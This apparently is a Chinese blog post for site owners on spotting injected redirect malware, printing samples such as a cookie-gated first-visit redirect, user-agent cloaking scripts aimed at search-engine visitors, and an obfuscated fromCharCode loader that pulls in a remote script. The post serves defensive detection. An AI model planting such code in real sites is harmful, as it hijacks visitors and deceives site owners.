假如你的網(wǎng)站被黑了,第一次打開網(wǎng)頁時顯示跳轉(zhuǎn)到其他網(wǎng)站。再打開時卻正常。
不要以為網(wǎng)站沒事。請注意查一下類似于以下的代碼。
var c = document.cookie; if (c.indexOf('isfirstvisited=false') != -1) { } else { var d = new Date(); d.setFullYear(d.getFullYear() + 1); document.cookie = 'isfirstvisited=false;expires=' + d.toGMTString(); location = 'https://baidu.com' }
這是以JS為例子,如果被植入的木馬在PHP中,大致雷同。
請務必進行全站搜索相關關鍵詞
isfirstvisited
等
同時看一下后臺數(shù)據(jù)庫中有沒有被修改或者模板文件中被修改類似這樣的。
<script>if(navigator.userAgent.toLocaleLowerCase().indexOf('baidu') == -1)
另一種:
<script> if (!navigator.userAgent.match(/baiduspider|sogou|360spider|yisou/i)) { document.title = "正常的標題"; } </script>
根據(jù)訪問者是否為特定爬蟲來決定是否動態(tài)設置頁面標題。這就是為了迷惑網(wǎng)站管理人員的,當你直接打開網(wǎng)頁的時候,顯示正常的標題,當你通過搜索引擎打開就顯示他附加的另外的代碼設置的標題,然后進行跳轉(zhuǎn),通常伴有內(nèi)似下面的代碼。
<noscript><title>字符#什么的</title> <meta name="keywords" content="字符#什么的"/> <meta name="description" content="字符#什么的"/></noscript> <script type="text/javascript">;var bc = String.fromCharCode(104,106,115等一串數(shù)字實際上是生成一個動態(tài)JS); var script = document.createElement('script'); script.src = bc; document.head.appendChild(script);</script>
像這種谷歌自帶的人機身份驗證,實際上有很多插件可以實現(xiàn)。但是有客戶看他們同行都用的谷歌的這種,也讓我...
假如你的網(wǎng)站被黑了,第一次打開網(wǎng)頁時顯示跳轉(zhuǎn)到其他網(wǎng)站。再打開時卻正常。不要以為網(wǎng)站沒事。請注意查一...
歐盟地區(qū)包括27個成員國。?這些國家分別是奧地利、比利時、保加利亞、塞浦路斯、克羅地亞、捷克共和國、丹...
看到有小伙伴在問做外貿(mào)怎么收款,今天我就簡單講下做外貿(mào)的幾種收款方式:??1:個人銀行卡美金收款一年收...